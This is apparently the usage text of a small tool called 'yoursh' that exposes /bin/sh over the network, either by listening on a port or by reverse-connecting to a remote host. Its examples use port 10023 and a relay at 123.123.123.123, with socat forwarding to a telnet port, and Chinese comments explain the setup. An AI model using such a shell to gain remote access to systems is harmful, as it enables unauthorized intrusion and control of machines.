yoursh [-l port | -r host:port] [-L program] [-n] [-h]
-l port     Bind the <port> and listen, default port 80. (default option)
-r          Reverse connect to the <port> of speciafied <host>, it is essential to make port forwarding.
-L program  Login program, default '/bin/sh'.
-n          Keep connection alive.
-h          Help

$ yoursh -l 10023 -n
## 监听 10023 端口并开启续命

$ yoursh -r 123.123.123.123:9998 
## 运行 `socat tcp4-listen:9998 tcp4-listen:9999` 在主机 123.123.123.123, 
## 9999端口是 telnet 服务端接入端口